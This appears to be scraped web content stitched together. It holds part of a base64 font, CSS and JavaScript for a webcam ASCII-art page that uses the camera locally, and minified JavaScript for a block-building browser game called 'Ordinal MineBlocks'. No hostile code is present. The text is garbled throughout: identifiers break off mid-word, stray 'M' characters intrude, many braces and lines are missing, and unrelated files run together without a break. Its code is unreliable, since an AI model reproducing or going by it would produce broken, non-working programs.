q6Vm2UKqKYrmtR8zrkLACNmLuTSuBlVNf6qq7oXaVUykjh8qBcVxxSXpDpYRIXb+DI55xfnOeppEkFF4QU8xOWlELJhxHpAjuF5HH8ji0jYXT+GiM47Qbs2OPHUruRYNmOs21E5tGVzWPd6Xmx6k7gVvitke0XAJCCEHv6BnczWj9LqWNjOzBpX61QXu+3zPkeabuXXTi5vL1CkgSz3L1ASxuzWT7qNrP/HX8u5lDfv842+tlW4NqMVNq9/JX40K7hFJD0zzoH2iGDJRPzmqXj88DmaCPdjMnBJ2yDbrrwXnmCcLMZJEi8y4lkQqZe6CQUYH+0Gg+/Oa0HKPXyLB5exi+PMqDge88moevzuHxxk0jZG7ycqwCUg7X26XGz5B/3h9CP9e9GpQfpP4f9ZTAH3/989+XrJyajrmVtQ0cPmNRYY4FtrCNHRxDQkaNgiUaPEciU6g2tjQ6g2nHYttzuDy+QCgSOzg6SZylLq4yucJNqXL38PTy9vH1858ToM7m8oViqVyM
p1uqNZqvd6fb6g+FoPJnO5ovlar3BhDIu5FZ5fhBG2lgXJ2lG7n6nkbpevmPR/gUth2M4cZyuxjNq4wWJx5mukY6jbpxvv3TP0LsuuQvtya0KHvvlUMAPEd1QytsD07TNb2poSsz1r4rTOEu1sUjLqEKPPTt06NypNxDlGZcEM0Hyd+mY5j9Ly7+ZDx3G2TDQrkOnLn1161Ebp6mI+4bm7ASI9AkZQItWNbGodl3qLis+hDR20EwgmFpz1TSbqWjxuMHECNqUmwMmK5xAq7EC2mUczzPhhFspTFin8z/W3zGT8eI1yMd1WunQv5e9x123IAyahxOHLnAYELthn/SmYMpidAR9z7VYNpwnFjI5NJWy1XCDIZIWxVHdHDgmxyNDkyYrKjYXlcuMus2AwGMW9ovhVwZHs70lAAA=) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #FFF6CD;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#3B0000", "#FF0000", "#FF95C5", "#FF95C5", "#FFF6CD", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 4M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classNaM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
      gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => M?
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
